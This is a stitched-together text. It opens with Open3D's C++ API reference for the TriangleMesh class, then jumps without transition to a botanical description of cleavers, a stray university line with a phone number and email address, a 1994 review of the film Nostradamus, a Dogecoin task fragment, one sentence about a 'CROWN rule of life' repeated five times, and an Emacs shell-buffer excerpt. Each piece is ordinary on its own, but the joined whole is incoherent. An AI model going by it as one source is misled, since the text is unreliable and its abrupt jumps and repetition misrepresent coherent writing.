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Open3D (C++ API)
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#include <TriangleMesh.h>
Public Types | |
| enum | SimplificationContraction { SimplificationContraction::Average, SimplificationContraction::Quadric } |
| enum | FilterScope { FilterScope::All, FilterScope::Color, FilterScope::Normal, FilterScope::Vertex } |
| Public Types inherited from open3d::geometry::Geometry3D | |
| enum | RotationType { RotationType::XYZ, RotationType::YZX, RotationType::ZXY, RotationType::XZY, RotationType::ZYX, RotationType::YXZ, RotationType::AxisAngle } |
| Public Types inherited from open3d::geometry::Geometry | |
| enum | GeometryType { GeometryType::Unspecified = 0, GeometryType::PointCloud = 1, GeometryType::VoxelGrid = 2, GeometryType::Octree = 3, GeometryType::LineSet = 4, GeometryType::TriangleMesh = 5, GeometryType::HalfEdgeTriangleMesh = 6, GeometryType::Image = 7, GeometryType::RGBDImage = 8, GeometryType::TetraMesh = 9, GeometryType::OrientedBoundingBox = 10, GeometryType::AxisAlignedBoundingBox = 11 } |
Public Member Functions | |
| TriangleMesh () | |
| ~TriangleMesh () override | |
| TriangleMesh & | Clear () override |
| bool | IsEmpty () const override |
| Eigen::Vector3d | GetMinBound () const override |
| Eigen::Vector3d | GetMaxBound () const override |
| Eigen::Vector3d | GetCenter () const override |
| AxisAlignedBoundingBox | GetAxisAlignedBoundingBox () const override |
| OrientedBoundingBox | GetOrientedBoundingBox () const override |
| TriangleMesh & | Transform (const Eigen::Matrix4d &transformation) override |
| TriangleMesh & | Translate (const Eigen::Vector3d &translation, bool relative=true) override |
| TriangleMesh & | Scale (const double scale, bool center=true) override |
| TriangleMesh & | Rotate (const Eigen::Vector3d &rotation, bool center=true, RotationType type=RotationType::XYZ) override |
| TriangleMesh & | operator+= (const TriangleMesh &mesh) |
| TriangleMesh | operator+ (const TriangleMesh &mesh) const |
| TriangleMesh & | ComputeTriangleNormals (bool normalized=true) |
| Function to compute triangle normals, usually called before rendering. More... | |
| TriangleMesh & | ComputeVertexNormals (bool normalized=true) |
| Function to compute vertex normals, usually called before rendering. More... | |
| TriangleMesh & | ComputeAdjacencyList () |
| Function to compute adjacency list, call before adjacency list is needed. More... | |
| TriangleMesh & | RemoveDuplicatedVertices () |
| TriangleMesh & | RemoveDuplicatedTriangles () |
| TriangleMesh & | RemoveUnreferencedVertices () |
| TriangleMesh & | RemoveDegenerateTriangles () |
| TriangleMesh & | RemoveNonManifoldEdges () |
| std::shared_ptr< TriangleMesh > | FilterSharpen (int number_of_iterations, double strength, FilterScope scope=FilterScope::All) const |
| std::shared_ptr< TriangleMesh > | FilterSmoothSimple (int number_of_iterations, FilterScope scope=FilterScope::All) const |
| std::shared_ptr< TriangleMesh > | FilterSmoothLaplacian (int number_of_iterations, double lambda, FilterScope scope=FilterScope::All) const |
| std::shared_ptr< TriangleMesh > | FilterSmoothTaubin (int number_of_iterations, double lambda=0.5, double mu=-0.53, FilterScope scope=FilterScope::All) const |
| bool | HasVertices () const |
| bool | HasTriangles () const |
| bool | HasVertexNormals () const |
| bool | HasVertexColors () const |
| bool | HasTriangleNormals () const |
| bool | HasAdjacencyList () const |
| TriangleMesh & | NormalizeNormals () |
| TriangleMesh & | PaintUniformColor (const Eigen::Vector3d &color) |
| Assigns each vertex in the TriangleMesh the same color. More... | |
| int | EulerPoincareCharacteristic () const |
| std::vector< Eigen::Vector2i > | GetNonManifoldEdges (bool allow_boundary_edges=true) const |
| std::vector< Eigen::RowVector2i > | IdenticallyColoredConnectedComponents () const |
| Function that returns identically colored connected components. More... | |
| bool | IsEdgeManifold (bool allow_boundary_edges=true) const |
| std::vector< int > | GetNonManifoldVertices () const |
| bool | IsVertexManifold () const |
| std::vector< Eigen::Vector2i > | GetSelfIntersectingTriangles () const |
| bool | IsSelfIntersecting () const |
| bool | IsBoundingBoxIntersecting (const TriangleMesh &other) const |
| bool | IsIntersecting (const TriangleMesh &other) const |
| bool | IsOrientable () const |
| bool | IsWatertight () const |
| bool | OrientTriangles () |
| std::unordered_map< Eigen::Vector2i, std::vector< int >, utility::hash_eigen::hash< Eigen::Vector2i > > | GetEdgeToTrianglesMap () const |
| double | GetTriangleArea (size_t triangle_idx) const |
| double | GetSurfaceArea () const |
| double | GetSurfaceArea (std::vector< double > &triangle_areas) const |
| Eigen::Vector4d | GetTrianglePlane (size_t triangle_idx) const |
| std::shared_ptr< TriangleMesh > | ComputeConvexHull () const |
| Function that computes the convex hull of the triangle mesh using qhull. More... | |
| std::shared_ptr< PointCloud > | SamplePointsUniformlyImpl (size_t number_of_points, std::vector< double > &triangle_areas, double surface_area) const |
| std::shared_ptr< PointCloud > | SamplePointsUniformly (size_t number_of_points) const |
| std::shared_ptr< PointCloud > | SamplePointsPoissonDisk (size_t number_of_points, double init_factor=5, const std::shared_ptr< PointCloud > pcl_init=nullptr) const |
| std::shared_ptr< TriangleMesh > | SubdivideMidpoint (int number_of_iterations) const |
| std::shared_ptr< TriangleMesh > | SubdivideLoop (int number_of_iterations) const |
| std::shared_ptr< TriangleMesh > | SimplifyVertexClustering (double voxel_size, TriangleMesh::SimplificationContraction contraction=TriangleMesh::SimplificationContraction::Average) const |
| std::shared_ptr< TriangleMesh > | SimplifyQuadricDecimation (int target_number_of_triangles) const |
| std::shared_ptr< TriangleMesh > | SelectDownSample (const std::vector< size_t > &indices) const |
| std::shared_ptr< TriangleMesh > | Crop (const Eigen::Vector3d &min_bound, const Eigen::Vector3d &max_bound) const |
| Public Member Functions inherited from open3d::geometry::Geometry3D | |
| ~Geometry3D () override | |
| Public Member Functions inherited from open3d::geometry::Geometry | |
| virtual | ~Geometry () |
| GeometryType | GetGeometryType () const |
| int | Dimension () const |
Static Public Member Functions | |
| static double | ComputeTriangleArea (const Eigen::Vector3d &p0, const Eigen::Vector3d &p1, const Eigen::Vector3d &p2) |
| Function that computes the area of a mesh triangle. More... | |
| static Eigen::Vector4d | ComputeTrianglePlane (const Eigen::Vector3d &p0, const Eigen::Vector3d &p1, const Eigen::Vector3d &p2) |
| static std::shared_ptr< TriangleMesh > | CreateFromPointCloudBallPivoting (const PointCloud &pcd, const std::vector< double > &radii) |
| static std::shared_ptr< TriangleMesh > | CreateTetrahedron (double radius=1.0) |
| static std::shared_ptr< TriangleMesh > | CreateOctahedron (double radius=1.0) |
| static std::shared_ptr< TriangleMesh > | CreateIcosahedron (double radius=1.0) |
| static std::shared_ptr< TriangleMesh > | CreateBox (double width=1.0, double height=1.0, double depth=1.0) |
| static std::shared_ptr< TriangleMesh > | CreateSphere (double radius=1.0, int resolution=20) |
| static std::shared_ptr< TriangleMesh > | CreateCylinder (double radius=1.0, double height=2.0, int resolution=20, int split=4) |
| static std::shared_ptr< TriangleMesh > | CreateCone (double radius=1.0, double height=2.0, int resolution=20, int split=1) |
| static std::shared_ptr< TriangleMesh > | CreateTorus (double torus_radius=1.0, double tube_radius=0.5, int radial_resolution=30, int tubular_resolution=20) |
| static std::shared_ptr< TriangleMesh > | CreateArrow (double cylinder_radius=1.0, double cone_radius=1.5, double cylinder_height=5.0, double cone_height=4.0, int resolution=20, int cylinder_split=4, int cone_split=1) |
| static std::shared_ptr< TriangleMesh > | CreateCoordinateFrame (double size=1.0, const Eigen::Vector3d &origin=Eigen::Vector3d(0.0, 0.0, 0.0)) |
| static std::shared_ptr< TriangleMesh > | CreateMoebius (int length_split=70, int width_split=15, int twists=1, double radius=1, double flatness=1, double width=1, double scale=1) |
Data Fields | |
| std::vector< Eigen::Vector3d > | vertices_ |
| std::vector< Eigen::Vector3d > | vertex_normals_ |
| std::vector< Eigen::Vector3d > | vertex_colors_ |
| std::vector< Eigen::Vector3i > | triangles_ |
| std::vector< Eigen::Vector3d > | triangle_normals_ |
| std::vector< std::unordered_set< int > > | adjacency_list_ |
Protected Member Functions | |
| TriangleMesh (Geometry::GeometryType type) | |
| void | FilterSmoothLaplacianHelper (std::shared_ptr< TriangleMesh > &mesh, const std::vector< Eigen::Vector3d > &prev_vertices, const std::vector< Eigen::Vector3d > &prev_vertex_normals, const std::vector< Eigen::Vector3d > &prev_vertex_colors, const std::vector< std::unordered_set< int >> &adjacency_list, double lambda, bool filter_vertex, bool filter_normal, bool filter_color) const |
| Protected Member Functions inherited from open3d::geometry::Geometry3D | |
| Geometry3D (GeometryType type) | |
| Eigen::Vector3d | ComputeMinBound (const std::vector< Eigen::Vector3d > &points) const |
| Eigen::Vector3d | ComputeMaxBound (const std::vector< Eigen::Vector3d > &points) const |
| Eigen::Vector3d | ComputeCenter (const std::vector< Eigen::Vector3d > &points) const |
| void | ResizeAndPaintUniformColor (std::vector< Eigen::Vector3d > &colors, const size_t size, const Eigen::Vector3d &color) const |
| void | TransformPoints (const Eigen::Matrix4d &transformation, std::vector< Eigen::Vector3d > &points) const |
| void | TransformNormals (const Eigen::Matrix4d &transformation, std::vector< Eigen::Vector3d > &normals) const |
| void | TranslatePoints (const Eigen::Vector3d &translation, std::vector< Eigen::Vector3d > &points, bool relative) const |
| void | ScalePoints (const double scale, std::vector< Eigen::Vector3d > &points, bool center) const |
| void | RotatePoints (const Eigen::Vector3d &rotation, std::vector< Eigen::Vector3d > &points, bool center, RotationType type) const |
| void | RotateNormals (const Eigen::Vector3d &rotation, std::vector< Eigen::Vector3d > &normals, bool center, RotationType type) const |
| Eigen::Matrix3d | GetRotationMatrix (const Eigen::Vector3d &rotation, RotationType type=RotationType::XYZ) const |
| Protected Member Functions inherited from open3d::geometry::Geometry | |
| Geometry (GeometryType type, int dimension) | |
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strong |
Indicates the scope of filter operations.
| All | indicates that all properties (color, normal, vertex position) are filtered. |
| Color | indicates that only the colors are filtered. |
| Normal | indicates that only the normals are filtered. |
| Vertex | indicates that only the vertex positions are filtered. |
| Enumerator | |
|---|---|
| All | |
| Color | |
| Normal | |
| Vertex |
Indicates the method that is used for mesh simplification if multiple vertices are combined to a single one.
| Average | indicates that the average position is computed as output. |
| Quadric | indicates that the distance to the adjacent triangle planes is minimized. Cf. "Simplifying Surfaces with Color and Texture using Quadric Error Metrics" by Garland and Heckbert. |
| Enumerator | |
|---|---|
| Average | |
| Quadric |
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Implements open3d::geometry::Geometry3D.
| TriangleMesh & open3d::geometry::TriangleMesh::ComputeAdjacencyList | ( | ) |
Function to compute adjacency list, call before adjacency list is needed.
| std::shared_ptr< TriangleMesh > open3d::geometry::TriangleMesh::ComputeConvexHull | ( | ) | const |
Function that computes the convex hull of the triangle mesh using qhull.
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static |
Function that computes the area of a mesh triangle.
| TriangleMesh & open3d::geometry::TriangleMesh::ComputeTriangleNormals | ( | bool | normalized = true | ) |
Function to compute triangle normals, usually called before rendering.
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static |
Function that computes the plane equation from the three points. If the three points are co-linear, then this function returns the invalid plane (0, 0, 0, 0).
| TriangleMesh & open3d::geometry::TriangleMesh::ComputeVertexNormals | ( | bool | normalized = true | ) |
Function to compute vertex normals, usually called before rendering.
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static |
Factory function to create an arrow mesh (TriangleMeshFactory.cpp) The axis of the cone with
| cone_radius | will be along the z-axis. The cylinder with |
| cylinder_radius | is from (0, 0, 0) to (0, 0, cylinder_height), and the cone is from (0, 0, cylinder_height) to (0, 0, cylinder_height + cone_height). The cone will be split into |
| resolution | segments. The |
| cylinder_height | will be split into |
| cylinder_split | segments. The |
| cone_height | will be split into |
| cone_split | segments. |
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static |
Factory function to create a box mesh (TriangleMeshFactory.cpp) The left bottom corner on the front will be placed at (0, 0, 0). The
| width | is x-directional length, and |
| height | and |
| depth | are y- and z-directional lengths respectively. |
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static |
Factory function to create a cone mesh (TriangleMeshFactory.cpp) The axis of the cone will be from (0, 0, 0) to (0, 0,
| height). | The circle with |
| radius | will be split into |
| resolution | segments. The height will be split into |
| split | segments. |
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Factory function to create a coordinate frame mesh (TriangleMeshFactory.cpp) The coordinate frame will be centered at
| origin | The x, y, z axis will be rendered as red, green, and blue arrows respectively. |
| size | is the length of the axes. |
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Factory function to create a cylinder mesh (TriangleMeshFactory.cpp) The axis of the cylinder will be from (0, 0, -height/2) to (0, 0, height/2). The circle with
| radius | will be split into |
| resolution | segments. The |
| height | will be split into |
| split | segments. |
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Function that computes a triangle mesh from a oriented PointCloud
| pcd. | This implements the Ball Pivoting algorithm proposed in F. Bernardini et al., "The ball-pivoting algorithm for surface reconstruction", 1999. The implementation is also based on the algorithms outlined in Digne, "An Analysis and Implementation of a Parallel Ball Pivoting Algorithm", 2014. The surface reconstruction is done by rolling a ball with a given radius (cf. |
| radii) | over the point cloud, whenever the ball touches three points a triangle is created. |
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Factory function to create an icosahedron mesh (trianglemeshfactory.cpp). the mesh centroid will be at (0,0,0) and
| radius | defines the distance from the center to the mesh vertices. |
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Factory function to create a Moebius strip.
| length_split | defines the number of segments along the Moebius strip, |
| width_split | defines the number of segments along the width of the Moebius strip, |
| twists | defines the number of twists of the strip, |
| radius | defines the radius of the Moebius strip, |
| flatness | controls the height of the strip, |
| width | controls the width of the Moebius strip and |
| scale | is used to scale the entire Moebius strip. |
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Factory function to create an octahedron mesh (trianglemeshfactory.cpp). the mesh centroid will be at (0,0,0) and
| radius | defines the distance from the center to the mesh vertices. |
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Factory function to create a sphere mesh (TriangleMeshFactory.cpp) The sphere with
| radius | will be centered at (0, 0, 0). Its axis is aligned with z-axis. The longitudes will be split into |
| resolution | segments. The latitudes will be split into |
| resolution | * 2 segments. |
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Factory function to create a tetrahedron mesh (trianglemeshfactory.cpp). the mesh centroid will be at (0,0,0) and
| radius | defines the distance from the center to the mesh vertices. |
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Factory function to create a torus mesh (TriangleMeshFactory.cpp) The torus will be centered at (0, 0, 0) and a radius of
| torus_radius. | The tube of the torus will have a radius of |
| tube_radius. | The number of segments in radial and tubular direction are |
| radial_resolution | and |
| tubular_resolution | respectively. |
| std::shared_ptr< TriangleMesh > open3d::geometry::TriangleMesh::Crop | ( | const Eigen::Vector3d & | min_bound, |
| const Eigen::Vector3d & | max_bound | ||
| ) | const |
Function to crop
| input | tringlemesh into output tringlemesh All points with coordinates less than |
| min_bound | or larger than |
| max_bound | are clipped. |
| int open3d::geometry::TriangleMesh::EulerPoincareCharacteristic | ( | ) | const |
Function that computes the Euler-Poincaré characteristic, i.e., V + F - E, where V is the number of vertices, F is the number of triangles, and E is the number of edges.
| std::shared_ptr< TriangleMesh > open3d::geometry::TriangleMesh::FilterSharpen | ( | int | number_of_iterations, |
| double | strength, | ||
| FilterScope | scope = FilterScope::All |
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| ) | const |
Function to sharpen triangle mesh. The output value ($v_o$) is the input value ($v_i$) plus
| strength | times the input value minus the sum of he adjacent values. $v_o = v_i x strength (v_i * |N| - {n N} v_n)$. |
| number_of_iterations | defines the number of repetitions of this operation. |
| std::shared_ptr< TriangleMesh > open3d::geometry::TriangleMesh::FilterSmoothLaplacian | ( | int | number_of_iterations, |
| double | lambda, | ||
| FilterScope | scope = FilterScope::All |
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| ) | const |
Function to smooth triangle mesh using Laplacian. $v_o = v_i (sum_{n N} w_n v_n - v_i)$, with $v_i$ being the input value, $v_o$ the output value, $N$ is the set of adjacent neighbours, $w_n$ is the weighting of the neighbour based on the inverse distance (closer neighbours have higher weight), and
| lambda | is the smoothing parameter. |
| number_of_iterations | defines the number of repetitions of this operation. |
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| std::shared_ptr< TriangleMesh > open3d::geometry::TriangleMesh::FilterSmoothSimple | ( | int | number_of_iterations, |
| FilterScope | scope = FilterScope::All |
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| ) | const |
Function to smooth triangle mesh with simple neighbour average. $v_o = {v_i + {n N} v_n)}{|N| + 1}$, with $v_i$ being the input value, $v_o$ the output value, and $N$ is the set of adjacent neighbours.
| number_of_iterations | defines the number of repetitions of this operation. |
| std::shared_ptr< TriangleMesh > open3d::geometry::TriangleMesh::FilterSmoothTaubin | ( | int | number_of_iterations, |
| double | lambda = 0.5 , |
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| double | mu = -0.53 , |
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| FilterScope | scope = FilterScope::All |
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| ) | const |
Function to smooth triangle mesh using method of Taubin, "Curve and Surface Smoothing Without Shrinkage", 1995. Applies in each iteration two times FilterSmoothLaplacian, first with
| lambda | and second with |
| mu | as smoothing parameter. This method avoids shrinkage of the triangle mesh. |
| number_of_iterations | defines the number of repetitions of this operation. |
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Implements open3d::geometry::Geometry3D.
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Implements open3d::geometry::Geometry3D.
| std::unordered_map< Eigen::Vector2i, std::vector< int >, utility::hash_eigen::hash< Eigen::Vector2i > > open3d::geometry::TriangleMesh::GetEdgeToTrianglesMap | ( | ) | const |
Function that returns a map from edges (vertex0, vertex1) to the triangle indices the given edge belongs to.
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Implements open3d::geometry::Geometry3D.
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Implements open3d::geometry::Geometry3D.
| std::vector< Eigen::Vector2i > open3d::geometry::TriangleMesh::GetNonManifoldEdges | ( | bool | allow_boundary_edges = true | ) | const |
Function that returns the non-manifold edges of the triangle mesh. If
| allow_boundary_edges | is set to false, than also boundary edges are returned |
| std::vector< int > open3d::geometry::TriangleMesh::GetNonManifoldVertices | ( | ) | const |
Function that returns a list of non-manifold vertex indices. A vertex is manifold if its star is edge‐manifold and edge‐connected. (Two or more faces connected only by a vertex and not by an edge.)
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Implements open3d::geometry::Geometry3D.
| std::vector< Eigen::Vector2i > open3d::geometry::TriangleMesh::GetSelfIntersectingTriangles | ( | ) | const |
Function that returns a list of triangles that are intersecting the mesh.
| double open3d::geometry::TriangleMesh::GetSurfaceArea | ( | ) | const |
Function that computes the surface area of the mesh, i.e. the sum of the individual triangle surfaces.
| double open3d::geometry::TriangleMesh::GetSurfaceArea | ( | std::vector< double > & | triangle_areas | ) | const |
Function that computes the surface area of the mesh, i.e. the sum of the individual triangle surfaces.
| double open3d::geometry::TriangleMesh::GetTriangleArea | ( | size_t | triangle_idx | ) | const |
Function that computes the area of a mesh triangle identified by the triangle index
| Eigen::Vector4d open3d::geometry::TriangleMesh::GetTrianglePlane | ( | size_t | triangle_idx | ) | const |
Function that computes the plane equation of a mesh triangle identified by the triangle index.
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| std::vector< Eigen::RowVector2i > open3d::geometry::TriangleMesh::IdenticallyColoredConnectedComponents | ( | ) | const |
Function that returns identically colored connected components.
| bool open3d::geometry::TriangleMesh::IsBoundingBoxIntersecting | ( | const TriangleMesh & | other | ) | const |
Function that tests if the bounding boxes of the triangle meshes are intersecting.
| bool open3d::geometry::TriangleMesh::IsEdgeManifold | ( | bool | allow_boundary_edges = true | ) | const |
Function that checks if the given triangle mesh is edge-manifold. A mesh is edge-manifold if each edge is bounding either one or two triangles. If allow_boundary_edges is set to false, then this function returns false if there exists boundary edges.
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Implements open3d::geometry::Geometry3D.
| bool open3d::geometry::TriangleMesh::IsIntersecting | ( | const TriangleMesh & | other | ) | const |
Function that tests if the triangle mesh intersects another triangle mesh. Tests each triangle against each other triangle.
| bool open3d::geometry::TriangleMesh::IsOrientable | ( | ) | const |
Function that tests if the given triangle mesh is orientable, i.e. the triangles can oriented in such a way that all normals point towards the outside.
| bool open3d::geometry::TriangleMesh::IsSelfIntersecting | ( | ) | const |
Function that tests if the triangle mesh is self-intersecting. Tests each triangle pair for intersection.
| bool open3d::geometry::TriangleMesh::IsVertexManifold | ( | ) | const |
Function that checks if all vertices in the triangle mesh are manifold. A vertex is manifold if its star is edge‐manifold and edge‐connected. (Two or more faces connected only by a vertex and not by an edge.)
| bool open3d::geometry::TriangleMesh::IsWatertight | ( | ) | const |
Function that tests if the given triangle mesh is watertight by checking if it is vertex manifold and edge-manifold with no boundary edges, but not self-intersecting.
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| TriangleMesh open3d::geometry::TriangleMesh::operator+ | ( | const TriangleMesh & | mesh | ) | const |
| TriangleMesh & open3d::geometry::TriangleMesh::operator+= | ( | const TriangleMesh & | mesh | ) |
| bool open3d::geometry::TriangleMesh::OrientTriangles | ( | ) |
If the mesh is orientable then this function rearranges the triangles such that all normals point towards the outside/inside.
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Assigns each vertex in the TriangleMesh the same color.
| color. |
| TriangleMesh & open3d::geometry::TriangleMesh::RemoveDegenerateTriangles | ( | ) |
Function that removes degenerate triangles, i.e., triangles that reference a single vertex multiple times in a single triangle. They are usually the product of removing duplicated vertices.
| TriangleMesh & open3d::geometry::TriangleMesh::RemoveDuplicatedTriangles | ( | ) |
Function that removes duplicated triangles, i.e., removes triangles that reference the same three vertices, independent of their order.
| TriangleMesh & open3d::geometry::TriangleMesh::RemoveDuplicatedVertices | ( | ) |
Function that removes duplicated verties, i.e., vertices that have identical coordinates.
| TriangleMesh & open3d::geometry::TriangleMesh::RemoveNonManifoldEdges | ( | ) |
Function that removes all non-manifold edges, by successively deleting triangles with the smallest surface area adjacent to the non-manifold edge until the number of adjacent triangles to the edge is <= 2
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| TriangleMesh & open3d::geometry::TriangleMesh::RemoveUnreferencedVertices | ( | ) |
This function removes vertices from the triangle mesh that are not referenced in any triangle of the mesh.
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Implements open3d::geometry::Geometry3D.
| std::shared_ptr< PointCloud > open3d::geometry::TriangleMesh::SamplePointsPoissonDisk | ( | size_t | number_of_points, |
| double | init_factor = 5 , |
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| const std::shared_ptr< PointCloud > | pcl_init = nullptr |
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| ) | const |
Function to sample
| number_of_points | points (blue noise). Based on the method presented in Yuksel, "Sample Elimination for Generating Poisson Disk Sample Sets", EUROGRAPHICS, 2015 The PointCloud |
| pcl_init | is used for sample elimination if given, otherwise a PointCloud is first uniformly sampled with |
| init_number_of_points | x |
| number_of_points | number of points. |
| std::shared_ptr< PointCloud > open3d::geometry::TriangleMesh::SamplePointsUniformly | ( | size_t | number_of_points | ) | const |
Function to sample
| number_of_points | points uniformly from the mesh |
| std::shared_ptr< PointCloud > open3d::geometry::TriangleMesh::SamplePointsUniformlyImpl | ( | size_t | number_of_points, |
| std::vector< double > & | triangle_areas, | ||
| double | surface_area | ||
| ) | const |
Function to sample
| number_of_points | points uniformly from the mesh |
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Implements open3d::geometry::Geometry3D.
| std::shared_ptr< TriangleMesh > open3d::geometry::TriangleMesh::SelectDownSample | ( | const std::vector< size_t > & | indices | ) | const |
Function to select points from
| input | TriangleMesh into |
| indices | are selected. |
| std::shared_ptr< TriangleMesh > open3d::geometry::TriangleMesh::SimplifyQuadricDecimation | ( | int | target_number_of_triangles | ) | const |
Function to simplify mesh using Quadric Error Metric Decimation by Garland and Heckbert.
| std::shared_ptr< TriangleMesh > open3d::geometry::TriangleMesh::SimplifyVertexClustering | ( | double | voxel_size, |
| TriangleMesh::SimplificationContraction | contraction = TriangleMesh::SimplificationContraction::Average |
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| ) | const |
Function to simplify mesh using Vertex Clustering. The result can be a non-manifold mesh.
| std::shared_ptr< TriangleMesh > open3d::geometry::TriangleMesh::SubdivideLoop | ( | int | number_of_iterations | ) | const |
Function to subdivide triangle mesh using Loop's scheme. Cf. Charles T. Loop, "Smooth subdivision surfaces based on triangles",
| std::shared_ptr< TriangleMesh > open3d::geometry::TriangleMesh::SubdivideMidpoint | ( | int | number_of_iterations | ) | const |
Function to subdivide triangle mesh using the simple midpoint algorithm. Each triangle is subdivided into four triangles per iteration and the new vertices lie on the midpoint of the triangle edges.
|
overridevirtual |
Implements open3d::geometry::Geometry3D.
|
overridevirtual |
Implements open3d::geometry::Geometry3D.
| std::vector<std::unordered_set<int> > open3d::geometry::TriangleMesh::adjacency_list_ |
| std::vector<Eigen::Vector3d> open3d::geometry::TriangleMesh::triangle_normals_ |
| std::vector<Eigen::Vector3i> open3d::geometry::TriangleMesh::triangles_ |
| std::vector<Eigen::Vector3d> open3d::geometry::TriangleMesh::vertex_colors_ |
| std::vector<Eigen::Vector3d> open3d::geometry::TriangleMesh::vertex_normals_ |
| std::vector<Eigen::Vector3d> open3d::geometry::TriangleMesh::vertices_ |


Cleavers are annuals with creeping straggling stems which branch and grow along the ground and over other plants. They attach themselves with the small hooked hairs which grow out of the stems and leaves. The stems can reach up to three feet or longer, and are angular or square shaped. The leaves are simple, narrowly oblanceolate to linear, and borne in whorls of six to eight. Cleavers have tiny, star-shaped, white to greenish flowers, which emerge from early spring to summer. The flowers are clustered in groups of two or three, and are borne out of the leaf axils. The corolla bears 4 petals. The globular fruits are burrs which grow one to three seeds clustered together; they are covered with hooked hairs which cling to animal fur, aiding in seed dispersal.
The plant can be found growing in hedges and waste places, limestone scree and as a garden weed. G. aparine prefers moist soils and can exist in areas with poor drainage. It reportedly flourishes in heavy soils with above-average nitrogen and phosphorus content, and prefers soils with a pH value between 5.5 and 8.0. G. aparine is often found in post-fire plant communities in the United States, likely developing from onsite seed and therefore rendering controlled burns as an ineffective means of removing G. aparine in areas where it is considered a noxious weed.
Boston University
+8613260006638
hdsyzxlh@hotmail.com


NOSTRADAMUS A film review by Raymond Johnston Copyright 1994 Raymond Johnston
Starring- Tcheky Kayro, F. Murray Abraham, Amanda Plummer, Rutger Hauer. Directed by- Roger Christian Distributed by Orion Classics
Sometime during the plague of the mid 1500s a doctor named Michel de Nostradame wrote a few volumes of strange prophetic poems. Whether one considers him a gifted seer or a charlatan, he is a character whose life is brimming with cinematic and narrative possibilities.
None of those possibilities are realized in the current film bearing his name.
The filmmakers wholeheartedly embrace the gifted seer theory of his life. They create a laughably inept story out of the few known facts of his life. If it wasn't for world-class bad RAPA NUI, this would be the worst film of the year.
Almost all the actors somnambulate through their scenes, seemingly ashamed that somebody in the audience will recognize them. Tcheky Kayro, who bears some resemblance to sketches of Nostradamus, gives the tired cliches of his awkward and unnatural dialogue a shot, but there is no way to make his lines credible. His first scene is the dreadful medical student who knows more than his teacher scene, complete with dissected cadaver. Nostradamus contradicts his teacher and recites near-modern medical theories. The teacher promptly dies of the plague, right in the middle of class. Luckily Nostradamus, the new medical student, has a theory on curing the plague as well. Luckily everything he needs is right at hand.
The rest of the story continues with the usual mish-mash of narrow minded witch hunters, dark torture chambers, oppressed would be scholars, forbidden manuscripts, oppressed modern feminist women, inept dandy monarchs and a little coveting thy neighbor's wife; all this plus stock footage of the Second World War.
The filmmakers take a grave sense of doom to the project. They pretend that there is an urgent need for the audience to embrace these predictions. They greatly inflate the clarity of Nostradamus's almost unreadable allegorical poems. The result is something resembling Sunn Classics films like IN SEARCH OF HISTORIC JESUS or IN SEARCH OF NOAH'S ARK. They credit Nostradamus with everything from predicting the Kennedy assassination to inventing musk oil perfume and aroma therapy.
While the cast includes an Oscar winner, the whole production is amateurish. The film is exceedingly washed out and grainy, with even more grainy special effects. All the sound is noticeably post synched. The lighting scheme is dark and muddy. Romanian landmarks are palmed off as Renaissance France.
Continuing his near-suicidal career choices since his triumph in AMADEUS is F. Murray Abraham. He plays a the leader of some ill-defined esoteric cult that possesses a hallucinogenic drug resembling LSD. Nostradamus takes lots of this, and has nightmarish visions. Later, having a flashback no doubt, he imagines himself surrounded by Nazi soldiers and Panzer tanks. The soldiers run around him, but don't seem to see him.
The manner of his visions is not consistent. At other times he just looks in a bowl of water to see stock footage of Hitler, Kennedy, and others. To make his prediction of three global wars seem true, the filmmakers elevate the Gulf War to the standing of World Wars I and II. This stock footage technique might be amusing on an I Dream of Jeannie episode but can hardly pass for special effects in the wake of JURASSIC PARK.
Then the filmmakers show that none of them can even count. They have character say repeatedly that his visions are for five hundred years in the future, the end of the twentieth century. From the mid 16th Century when the film takes place, it is only four hundred years.
What Rutger Hauer is doing in this mess is anybody's guess. His bizarre role is so small that he at least spares himself from complete embarrassment. The only actor to be able to count this as a career plus is Amanda Plummer. She manages to squeeze a semblance of character out of Catherine de Medici. Her few scenes are a stray reminder that this could have been a decent historical drama. One of Amanda Plummer's scenes is the horror highlight of the film, such as it is. It rips off both CARRIE and THE SHINING. The few horror scenes in the film are the ones that are most effective.
If Nostradamus could have looked into the future and seen this film, he would have burned his books to spare himself this future indignity.
For no real reason I saw NOSTRADAMUS and MARY SHELLEY'S FRANKENSTEIN on the same day. There are a few similarities between the two films. Both are costume dramas concerning medical students and their unscientific experiments. Both films had their heroes neglect their families. Both had their heroes doggedly pursued across Europe. Both had a star from AMADEUS. The complete cinematic poverty of NOSTRADAMUS made me appreciate the lush gothic excess and outlandish visual style of the underrated FRANKENSTEIN.
.
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Campaigns are a way of organizing tasks requests, so that one can track progress among tasks, or modify how categorization is done.
Tasks are part of campaigns, but you can categorize tasks and earn Dogecoin!


[Content to follow]
To work with a group or mentee to enable them to form rhythms that become a consistent, life-giving and sustainable personal rule for the Re-Create element of the CROWN rule of life.
To work with a group or mentee to enable them to form rhythms that become a consistent, life-giving and sustainable personal rule for the Re-Create element of the CROWN rule of life.
To work with a group or mentee to enable them to form rhythms that become a consistent, life-giving and sustainable personal rule for the Re-Create element of the CROWN rule of life.
To work with a group or mentee to enable them to form rhythms that become a consistent, life-giving and sustainable personal rule for the Re-Create element of the CROWN rule of life.
To work with a group or mentee to enable them to form rhythms that become a consistent, life-giving and sustainable personal rule for the Re-Create element of the CROWN rule of life.


| < Day Day Up > |
5.1. Executing Commands in Shell BuffersOne of the most important features of Emacs is its ability to run a command shell in a buffer. Once you have started a shell buffer, you can do all of your normal command-line work within Emacs. What does this buy you?
As you get used to working within Emacs, you will undoubtedly discover more and more ways to put shell mode to use. In this section, we discuss shell mode. Later in this chapter, we discuss directory editing, printing, and calendar and diary features for doing simple time management in Emacs. Right now, we'll start with a simple variation on shell mode, a feature that lets you execute commands one at a time. 5.1.1 Running One Command at a TimeTo run a command while you're in an Emacs session, type M-!. Emacs asks for the command you want to run. Type the command and press Enter. Emacs then opens a window called *Shell Command Output* where it displays the results of your command.
